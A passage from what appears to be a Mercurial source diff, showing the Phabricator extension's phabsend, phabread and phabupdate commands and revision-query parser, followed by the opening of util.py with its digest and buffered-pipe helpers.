     with a linear dependencies relationship using the order specified by the
     revset.
 
     For the first time uploading changesets, local tags will be created to
     maintain the association. After the first time, phabsend will check
     obsstore and tags information so it can figure out whether to update an
     existing Differential Revision, or create a new one.
 
     If --amend is set, update commit messages so they have the
     ``Differential Revision`` URL, remove related tags. This is similar to what
     arcanist will do, and is more desired in author-push workflows. Otherwise,
     use local tags to record the ``Differential Revision`` association.
 
     The --confirm option lets you confirm changesets before sending them. You
     can also add following to your configuration file to make it default
     behaviour::
 
         [phabsend]
         confirm = true
 
     phabsend will check obsstore and the above association to decide whether to
     update an existing Differential Revision, or create a new one.
     """
     opts = pycompat.byteskwargs(opts)
     revs = list(revs) + opts.get(b'rev', [])
     revs = scmutil.revrange(repo, revs)
     revs.sort()  # ascending order to preserve topological parent/child in phab
 
     if not revs:
         raise error.Abort(_(b'phabsend requires at least one changeset'))
     if opts.get(b'amend'):
         cmdutil.checkunfinished(repo)
 
     # {newnode: (oldnode, olddiff, olddrev}
     oldmap = getoldnodedrevmap(repo, [repo[r].node() for r in revs])
 
     confirm = ui.configbool(b'phabsend', b'confirm')
     confirm |= bool(opts.get(b'confirm'))
     if confirm:
         confirmed = _confirmbeforesend(repo, revs, oldmap)
         if not confirmed:
             raise error.Abort(_(b'phabsend cancelled'))
 
     actions = []
     reviewers = opts.get(b'reviewer', [])
     blockers = opts.get(b'blocker', [])
     phids = []
     if reviewers:
         phids.extend(userphids(repo.ui, reviewers))
     if blockers:
         phids.extend(
             map(
                 lambda phid: b'blocking(%s)' % phid,
                 userphids(repo.ui, blockers),
             )
         )
     if phids:
         actions.append({b'type': b'reviewers.add', b'value': phids})
 
     drevids = []  # [int]
     diffmap = {}  # {newnode: diff}
 
     # Send patches one by one so we know their Differential Revision PHIDs and
     # can provide dependency relationship
     lastrevphid = None
     for rev in revs:
         ui.debug(b'sending rev %d\n' % rev)
         ctx = repo[rev]
 
         # Get Differential Revision ID
         oldnode, olddiff, revid = oldmap.get(ctx.node(), (None, None, None))
         if oldnode != ctx.node() or opts.get(b'amend'):
             # Create or update Differential Revision
             revision, diff = createdifferentialrevision(
                 ctx,
                 revid,
                 lastrevphid,
                 oldnode,
                 olddiff,
                 actions,
                 opts.get(b'comment'),
             )
             diffmap[ctx.node()] = diff
             newrevid = int(revision[b'object'][b'id'])
             newrevphid = revision[b'object'][b'phid']
             if revid:
                 action = b'updated'
             else:
                 action = b'created'
 
             # Create a local tag to note the association, if commit message
             # does not have it already
             m = _differentialrevisiondescre.search(ctx.description())
             if not m or int(m.group('id')) != newrevid:
                 tagname = b'D%d' % newrevid
                 tags.tag(
                     repo,
                     tagname,
                     ctx.node(),
                     message=None,
                     user=None,
                     date=None,
                     local=True,
                 )
         else:
             # Nothing changed. But still set "newrevphid" so the next revision
             # could depend on this one and "newrevid" for the summary line.
             newrevphid = querydrev(repo.ui, b'%d' % revid)[0][b'phid']
             newrevid = revid
             action = b'skipped'
 
         actiondesc = ui.label(
             {
                 b'created': _(b'created'),
                 b'skipped': _(b'skipped'),
                 b'updated': _(b'updated'),
             }[action],
             b'phabricator.action.%s' % action,
         )
         drevdesc = ui.label(b'D%d' % newrevid, b'phabricator.drev')
         nodedesc = ui.label(bytes(ctx), b'phabricator.node')
         desc = ui.label(ctx.description().split(b'\n')[0], b'phabricator.desc')
         ui.write(
             _(b'%s - %s - %s: %s\n') % (drevdesc, actiondesc, nodedesc, desc)
         )
         drevids.append(newrevid)
         lastrevphid = newrevphid
 
     # Update commit messages and remove tags
     if opts.get(b'amend'):
         unfi = repo.unfiltered()
         drevs = callconduit(ui, b'differential.query', {b'ids': drevids})
         with repo.wlock(), repo.lock(), repo.transaction(b'phabsend'):
             wnode = unfi[b'.'].node()
             mapping = {}  # {oldnode: [newnode]}
             for i, rev in enumerate(revs):
                 old = unfi[rev]
                 drevid = drevids[i]
                 drev = [d for d in drevs if int(d[b'id']) == drevid][0]
                 newdesc = getdescfromdrev(drev)
                 # Make sure commit message contain "Differential Revision"
                 if old.description() != newdesc:
                     if old.phase() == phases.public:
                         ui.warn(
                             _(b"warning: not updating public commit %s\n")
                             % scmutil.formatchangeid(old)
                         )
                         continue
                     parents = [
                         mapping.get(old.p1().node(), (old.p1(),))[0],
                         mapping.get(old.p2().node(), (old.p2(),))[0],
                     ]
                     new = context.metadataonlyctx(
                         repo,
                         old,
                         parents=parents,
                         text=newdesc,
                         user=old.user(),
                         date=old.date(),
                         extra=old.extra(),
                     )
 
                     newnode = new.commit()
 
                     mapping[old.node()] = [newnode]
                     # Update diff property
                     # If it fails just warn and keep going, otherwise the DREV
                     # associations will be lost
                     try:
                         writediffproperties(unfi[newnode], diffmap[old.node()])
                     except util.urlerr.urlerror:
                         ui.warnnoi18n(
                             b'Failed to update metadata for D%d\n' % drevid
                         )
                 # Remove local tags since it's no longer necessary
                 tagname = b'D%d' % drevid
                 if tagname in repo.tags():
                     tags.tag(
                         repo,
                         tagname,
                         nullid,
                         message=None,
                         user=None,
                         date=None,
                         local=True,
                     )
             scmutil.cleanupnodes(repo, mapping, b'phabsend', fixphase=True)
             if wnode in mapping:
                 unfi.setparents(mapping[wnode][0])
 
 
 # Map from "hg:meta" keys to header understood by "hg import". The order is
 # consistent with "hg export" output.
 _metanamemap = util.sortdict(
     [
         (b'user', b'User'),
         (b'date', b'Date'),
         (b'branch', b'Branch'),
         (b'node', b'Node ID'),
         (b'parent', b'Parent '),
     ]
 )
 
 
 def _confirmbeforesend(repo, revs, oldmap):
     url, token = readurltoken(repo.ui)
     ui = repo.ui
     for rev in revs:
         ctx = repo[rev]
         desc = ctx.description().splitlines()[0]
         oldnode, olddiff, drevid = oldmap.get(ctx.node(), (None, None, None))
         if drevid:
             drevdesc = ui.label(b'D%d' % drevid, b'phabricator.drev')
         else:
             drevdesc = ui.label(_(b'NEW'), b'phabricator.drev')
 
         ui.write(
             _(b'%s - %s: %s\n')
             % (
                 drevdesc,
                 ui.label(bytes(ctx), b'phabricator.node'),
                 ui.label(desc, b'phabricator.desc'),
             )
         )
 
     if ui.promptchoice(
         _(b'Send the above changes to %s (yn)?$$ &Yes $$ &No') % url
     ):
         return False
 
     return True
 
 
 _knownstatusnames = {
     b'accepted',
     b'needsreview',
     b'needsrevision',
     b'closed',
     b'abandoned',
     b'changesplanned',
 }
 
 
 def _getstatusname(drev):
     """get normalized status name from a Differential Revision"""
     return drev[b'statusName'].replace(b' ', b'').lower()
 
 
 # Small language to specify differential revisions. Support symbols: (), :X,
 # +, and -.
 
 _elements = {
     # token-type: binding-strength, primary, prefix, infix, suffix
     b'(': (12, None, (b'group', 1, b')'), None, None),
     b':': (8, None, (b'ancestors', 8), None, None),
     b'&': (5, None, None, (b'and_', 5), None),
     b'+': (4, None, None, (b'add', 4), None),
     b'-': (4, None, None, (b'sub', 4), None),
     b')': (0, None, None, None, None),
     b'symbol': (0, b'symbol', None, None, None),
     b'end': (0, None, None, None, None),
 }
 
 
 def _tokenize(text):
     view = memoryview(text)  # zero-copy slice
     special = b'():+-& '
     pos = 0
     length = len(text)
     while pos < length:
         symbol = b''.join(
             itertools.takewhile(
                 lambda ch: ch not in special, pycompat.iterbytestr(view[pos:])
             )
         )
         if symbol:
             yield (b'symbol', symbol, pos)
             pos += len(symbol)
         else:  # special char, ignore space
             if text[pos : pos + 1] != b' ':
                 yield (text[pos : pos + 1], None, pos)
             pos += 1
     yield (b'end', None, pos)
 
 
 def _parse(text):
     tree, pos = parser.parser(_elements).parse(_tokenize(text))
     if pos != len(text):
         raise error.ParseError(b'invalid token', pos)
     return tree
 
 
 def _parsedrev(symbol):
     """str -> int or None, ex. 'D45' -> 45; '12' -> 12; 'x' -> None"""
     if symbol.startswith(b'D') and symbol[1:].isdigit():
         return int(symbol[1:])
     if symbol.isdigit():
         return int(symbol)
 
 
 def _prefetchdrevs(tree):
     """return ({single-drev-id}, {ancestor-drev-id}) to prefetch"""
     drevs = set()
     ancestordrevs = set()
     op = tree[0]
     if op == b'symbol':
         r = _parsedrev(tree[1])
         if r:
             drevs.add(r)
     elif op == b'ancestors':
         r, a = _prefetchdrevs(tree[1])
         drevs.update(r)
         ancestordrevs.update(r)
         ancestordrevs.update(a)
     else:
         for t in tree[1:]:
             r, a = _prefetchdrevs(t)
             drevs.update(r)
             ancestordrevs.update(a)
     return drevs, ancestordrevs
 
 
 def querydrev(ui, spec):
     """return a list of "Differential Revision" dicts
 
     spec is a string using a simple query language, see docstring in phabread
     for details.
 
     A "Differential Revision dict" looks like:
 
         {
             "activeDiffPHID": "PHID-DIFF-xoqnjkobbm6k4dk6hi72",
             "authorPHID": "PHID-USER-tv3ohwc4v4jeu34otlye",
             "auxiliary": {
               "phabricator:depends-on": [
                 "PHID-DREV-gbapp366kutjebt7agcd"
               ]
               "phabricator:projects": [],
             },
             "branch": "default",
             "ccs": [],
             "commits": [],
             "dateCreated": "1499181406",
             "dateModified": "1499182103",
             "diffs": [
               "3",
               "4",
             ],
             "hashes": [],
             "id": "2",
             "lineCount": "2",
             "phid": "PHID-DREV-672qvysjcczopag46qty",
             "properties": {},
             "repositoryPHID": "PHID-REPO-hub2hx62ieuqeheznasv",
             "reviewers": [],
             "sourcePath": null
             "status": "0",
             "statusName": "Needs Review",
             "summary": "",
             "testPlan": "",
             "title": "example",
             "uri": "https://phab.example.com/D2",
         }
     """
     # TODO: replace differential.query and differential.querydiffs with
     # differential.diff.search because the former (and their output) are
     # frozen, and planned to be deprecated and removed.
 
     def fetch(params):
         """params -> single drev or None"""
         key = (params.get(b'ids') or params.get(b'phids') or [None])[0]
         if key in prefetched:
             return prefetched[key]
         drevs = callconduit(ui, b'differential.query', params)
         # Fill prefetched with the result
         for drev in drevs:
             prefetched[drev[b'phid']] = drev
             prefetched[int(drev[b'id'])] = drev
         if key not in prefetched:
             raise error.Abort(
                 _(b'cannot get Differential Revision %r') % params
             )
         return prefetched[key]
 
     def getstack(topdrevids):
         """given a top, get a stack from the bottom, [id] -> [id]"""
         visited = set()
         result = []
         queue = [{b'ids': [i]} for i in topdrevids]
         while queue:
             params = queue.pop()
             drev = fetch(params)
             if drev[b'id'] in visited:
                 continue
             visited.add(drev[b'id'])
             result.append(int(drev[b'id']))
             auxiliary = drev.get(b'auxiliary', {})
             depends = auxiliary.get(b'phabricator:depends-on', [])
             for phid in depends:
                 queue.append({b'phids': [phid]})
         result.reverse()
         return smartset.baseset(result)
 
     # Initialize prefetch cache
     prefetched = {}  # {id or phid: drev}
 
     tree = _parse(spec)
     drevs, ancestordrevs = _prefetchdrevs(tree)
 
     # developer config: phabricator.batchsize
     batchsize = ui.configint(b'phabricator', b'batchsize')
 
     # Prefetch Differential Revisions in batch
     tofetch = set(drevs)
     for r in ancestordrevs:
         tofetch.update(range(max(1, r - batchsize), r + 1))
     if drevs:
         fetch({b'ids': list(tofetch)})
     validids = sorted(set(getstack(list(ancestordrevs))) | set(drevs))
 
     # Walk through the tree, return smartsets
     def walk(tree):
         op = tree[0]
         if op == b'symbol':
             drev = _parsedrev(tree[1])
             if drev:
                 return smartset.baseset([drev])
             elif tree[1] in _knownstatusnames:
                 drevs = [
                     r
                     for r in validids
                     if _getstatusname(prefetched[r]) == tree[1]
                 ]
                 return smartset.baseset(drevs)
             else:
                 raise error.Abort(_(b'unknown symbol: %s') % tree[1])
         elif op in {b'and_', b'add', b'sub'}:
             assert len(tree) == 3
             return getattr(operator, op)(walk(tree[1]), walk(tree[2]))
         elif op == b'group':
             return walk(tree[1])
         elif op == b'ancestors':
             return getstack(walk(tree[1]))
         else:
             raise error.ProgrammingError(b'illegal tree: %r' % tree)
 
     return [prefetched[r] for r in walk(tree)]
 
 
 def getdescfromdrev(drev):
     """get description (commit message) from "Differential Revision"
 
     This is similar to differential.getcommitmessage API. But we only care
     about limited fields: title, summary, test plan, and URL.
     """
     title = drev[b'title']
     summary = drev[b'summary'].rstrip()
     testplan = drev[b'testPlan'].rstrip()
     if testplan:
         testplan = b'Test Plan:\n%s' % testplan
     uri = b'Differential Revision: %s' % drev[b'uri']
     return b'\n\n'.join(filter(None, [title, summary, testplan, uri]))
 
 
 def getdiffmeta(diff):
     """get commit metadata (date, node, user, p1) from a diff object
 
     The metadata could be "hg:meta", sent by phabsend, like:
 
         "properties": {
           "hg:meta": {
             "branch": "default",
             "date": "1499571514 25200",
             "node": "98c08acae292b2faf60a279b4189beb6cff1414d",
             "user": "Foo Bar <[e-mail]>",
             "parent": "6d0abad76b30e4724a37ab8721d630394070fe16"
           }
         }
 
     Or converted from "local:commits", sent by "arc", like:
 
         "properties": {
           "local:commits": {
             "98c08acae292b2faf60a279b4189beb6cff1414d": {
               "author": "Foo Bar",
               "authorEmail": "[e-mail]"
               "branch": "default",
               "commit": "98c08acae292b2faf60a279b4189beb6cff1414d",
               "local": "1000",
               "message": "...",
               "parents": ["6d0abad76b30e4724a37ab8721d630394070fe16"],
               "rev": "98c08acae292b2faf60a279b4189beb6cff1414d",
               "summary": "...",
               "tag": "",
               "time": 1499546314,
             }
           }
         }
 
     Note: metadata extracted from "local:commits" will lose time zone
     information.
     """
     props = diff.get(b'properties') or {}
     meta = props.get(b'hg:meta')
     if not meta:
         if props.get(b'local:commits'):
             commit = sorted(props[b'local:commits'].values())[0]
             meta = {}
             if b'author' in commit and b'authorEmail' in commit:
                 meta[b'user'] = b'%s <%s>' % (
                     commit[b'author'],
                     commit[b'authorEmail'],
                 )
             if b'time' in commit:
                 meta[b'date'] = b'%d 0' % int(commit[b'time'])
             if b'branch' in commit:
                 meta[b'branch'] = commit[b'branch']
             node = commit.get(b'commit', commit.get(b'rev'))
             if node:
                 meta[b'node'] = node
             if len(commit.get(b'parents', ())) >= 1:
                 meta[b'parent'] = commit[b'parents'][0]
         else:
             meta = {}
     if b'date' not in meta and b'dateCreated' in diff:
         meta[b'date'] = b'%s 0' % diff[b'dateCreated']
     if b'branch' not in meta and diff.get(b'branch'):
         meta[b'branch'] = diff[b'branch']
     if b'parent' not in meta and diff.get(b'sourceControlBaseRevision'):
         meta[b'parent'] = diff[b'sourceControlBaseRevision']
     return meta
 
 
 def readpatch(ui, drevs, write):
     """generate plain-text patch readable by 'hg import'
 
     write takes a list of (DREV, bytes), where DREV is the differential number
     (as bytes, without the "D" prefix) and the bytes are the text of a patch
     to be imported. drevs is what "querydrev" returns, results of
     "differential.query".
     """
     # Prefetch hg:meta property for all diffs
     diffids = sorted(set(max(int(v) for v in drev[b'diffs']) for drev in drevs))
     diffs = callconduit(ui, b'differential.querydiffs', {b'ids': diffids})
 
     patches = []
 
     # Generate patch for each drev
     for drev in drevs:
         ui.note(_(b'reading D%s\n') % drev[b'id'])
 
         diffid = max(int(v) for v in drev[b'diffs'])
         body = callconduit(ui, b'differential.getrawdiff', {b'diffID': diffid})
         desc = getdescfromdrev(drev)
         header = b'# HG changeset patch\n'
 
         # Try to preserve metadata from hg:meta property. Write hg patch
         # headers that can be read by the "import" command. See patchheadermap
         # and extract in mercurial/patch.py for supported headers.
         meta = getdiffmeta(diffs[b'%d' % diffid])
         for k in _metanamemap.keys():
             if k in meta:
                 header += b'# %s %s\n' % (_metanamemap[k], meta[k])
 
         content = b'%s%s\n%s' % (header, desc, body)
         patches.append((drev[b'id'], content))
 
     # Write patches to the supplied callback
     write(patches)
 
 
 @vcrcommand(
     b'phabread',
     [(b'', b'stack', False, _(b'read dependencies'))],
     _(b'DREVSPEC [OPTIONS]'),
     helpcategory=command.CATEGORY_IMPORT_EXPORT,
     optionalrepo=True,
 )
 def phabread(ui, repo, spec, **opts):
     """print patches from Phabricator suitable for importing
 
     DREVSPEC could be a Differential Revision identity, like ``D123``, or just
     the number ``123``. It could also have common operators like ``+``, ``-``,
     ``&``, ``(``, ``)`` for complex queries. Prefix ``:`` could be used to
     select a stack.
 
     ``abandoned``, ``accepted``, ``closed``, ``needsreview``, ``needsrevision``
     could be used to filter patches by status. For performance reason, they
     only represent a subset of non-status selections and cannot be used alone.
 
     For example, ``:D6+8-(2+D4)`` selects a stack up to D6, plus D8 and exclude
     D2 and D4. ``:D9 & needsreview`` selects "Needs Review" revisions in a
     stack up to D9.
 
     If --stack is given, follow dependencies information and read all patches.
     It is equivalent to the ``:`` operator.
     """
     opts = pycompat.byteskwargs(opts)
     if opts.get(b'stack'):
         spec = b':(%s)' % spec
     drevs = querydrev(ui, spec)
 
     def _write(patches):
         for drev, content in patches:
             ui.write(content)
 
     readpatch(ui, drevs, _write)
 
 
 @vcrcommand(
     b'phabupdate',
     [
         (b'', b'accept', False, _(b'accept revisions')),
         (b'', b'reject', False, _(b'reject revisions')),
         (b'', b'abandon', False, _(b'abandon revisions')),
         (b'', b'reclaim', False, _(b'reclaim revisions')),
         (b'm', b'comment', b'', _(b'comment on the last revision')),
     ],
     _(b'DREVSPEC [OPTIONS]'),
     helpcategory=command.CATEGORY_IMPORT_EXPORT,
     optionalrepo=True,
 )
 def phabupdate(ui, repo, spec, **opts):
     """update Differential Revision in batch
 
     DREVSPEC selects revisions. See :hg:`help phabread` for its usage.
     """
     opts = pycompat.byteskwargs(opts)
     flags = [n for n in b'accept reject abandon reclaim'.split() if opts.get(n)]
     if len(flags) > 1:
         raise error.Abort(_(b'%s cannot be used together') % b', '.join(flags))
 
     actions = []
     for f in flags:
         actions.append({b'type': f, b'value': True})
 
     drevs = querydrev(ui, spec)
     for i, drev in enumerate(drevs):
         if i + 1 == len(drevs) and opts.get(b'comment'):
             actions.append({b'type': b'comment', b'value': opts[b'comment']})
         if actions:
             params = {
                 b'objectIdentifier': drev[b'phid'],
                 b'transactions': actions,
             }
             callconduit(ui, b'differential.revision.edit', params)
 
 
 @eh.templatekeyword(b'phabreview', requires={b'ctx'})
 def template_review(context, mapping):
     """:phabreview: Object describing the review for this changeset.
     Has attributes `url` and `id`.
     """
     ctx = context.resource(mapping, b'ctx')
     m = _differentialrevisiondescre.search(ctx.description())
     if m:
         return templateutil.hybriddict(
             {b'url': m.group('url'), b'id': b"D%s" % m.group('id'),}
         )
     else:
         tags = ctx.repo().nodetags(ctx.node())
         for t in tags:
             if _differentialrevisiontagre.match(t):
                 url = ctx.repo().ui.config(b'phabricator', b'url')
                 if not url.endswith(b'/'):
                     url += b'/'
                 url += t
 
                 return templateutil.hybriddict({b'url': url, b'id': t,})
     return None
 
 
 @eh.templatekeyword(b'phabstatus', requires={b'ctx', b'repo', b'ui'})
 def template_status(context, mapping):
     """:phabstatus: String. Status of Phabricator differential.
     """
     ctx = context.resource(mapping, b'ctx')
     repo = context.resource(mapping, b'repo')
     ui = context.resource(mapping, b'ui')
 
     rev = ctx.rev()
     try:
         drevid = getdrevmap(repo, [rev])[rev]
     except KeyError:
         return None
     drevs = callconduit(ui, b'differential.query', {b'ids': [drevid]})
     for drev in drevs:
         if int(drev[b'id']) == drevid:
             return templateutil.hybriddict(
                 {b'url': drev[b'uri'], b'status': drev[b'statusName'],}
             )
     return None
 
 
 @show.showview(b'phabstatus', csettopic=b'work')
 def phabstatusshowview(ui, repo, displayer):
     """Phabricator differiential status"""
     revs = repo.revs('sort(_underway(), topo)')
     drevmap = getdrevmap(repo, revs)
     unknownrevs, drevids, revsbydrevid = [], set([]), {}
     for rev, drevid in pycompat.iteritems(drevmap):
         if drevid is not None:
             drevids.add(drevid)
             revsbydrevid.setdefault(drevid, set([])).add(rev)
         else:
             unknownrevs.append(rev)
 
     drevs = callconduit(ui, b'differential.query', {b'ids': list(drevids)})
     drevsbyrev = {}
     for drev in drevs:
         for rev in revsbydrevid[int(drev[b'id'])]:
             drevsbyrev[rev] = drev
 
     def phabstatus(ctx):
         drev = drevsbyrev[ctx.rev()]
         status = ui.label(
             b'%(statusName)s' % drev,
             b'phabricator.status.%s' % _getstatusname(drev),
         )
         ui.write(b"\n%s %s\n" % (drev[b'uri'], status))
 
     revs -= smartset.baseset(unknownrevs)
     revdag = graphmod.dagwalker(repo, revs)
 
     ui.setconfig(b'experimental', b'graphshorten', True)
     displayer._exthook = phabstatus
     nodelen = show.longestshortest(repo, revs)
     logcmdutil.displaygraph(
         ui,
         repo,
         revdag,
         displayer,
         graphmod.asciiedges,
         props={b'nodelen': nodelen},
     )

mercurial/util.py

@@ -1,3618 +1,3618 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 
 from .thirdparty import attr
 from .pycompat import (
     delattr,
     getattr,
     open,
     setattr,
 )
 from hgdemandimport import tracing
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     compression,
     hashutil,
     procutil,
     stringutil,
 )
 
 base85 = policy.importmod('base85')
 osutil = policy.importmod('osutil')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 readlink = platform.readlink
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 # small compat layer
 compengines = compression.compengines
 SERVERROLE = compression.SERVERROLE
 CLIENTROLE = compression.CLIENTROLE
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
     warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
     warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(
         'ignore', 'bad escape', DeprecationWarning, 'mercurial'
     )
     warnings.filterwarnings(
         'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
     )
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(
         'ignore',
         'the imp module is deprecated',
         DeprecationWarning,
         'mercurial',
     )
 
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += (
             b"\n(compatibility will be dropped after Mercurial-%s,"
             b" update your code.)"
         ) % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 
 DIGESTS = {
     b'md5': hashlib.md5,
     b'sha1': hashutil.sha1,
     b'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=b''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise error.Abort(_(b'unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_(b'unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(
                 _(b'size mismatch: expected %d, got %d')
                 % (self._size, self._got)
             )
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(
                     _(b'%s mismatch: expected %s, got %s')
                     % (k, v, self._digester[k])
                 )
 
 
 try:
     buffer = buffer
 except NameError:
 
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset : offset + length]
         return memoryview(sliceable)[offset:]
 
 
 _chunksize = 4096
 
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def unbufferedread(self, size):
         if not self._eof and self._lenbuf == 0:
             self._fillbuffer(max(size, _chunksize))
         return self._frombuffer(min(self._lenbuf, size))
 
     def readline(self, *args, **kwargs):
         if len(self._buffer) > 1:
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [b''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find(b'\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find(b'\n')
         size = lfi + 1
         if lfi < 0:  # end of file
             size = self._lenbuf
         elif len(self._buffer) > 1:
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return b''
         buf = self._buffer[0]
         if len(self._buffer) > 1:
             buf = b''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data) :]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self, size=_chunksize):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), size)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
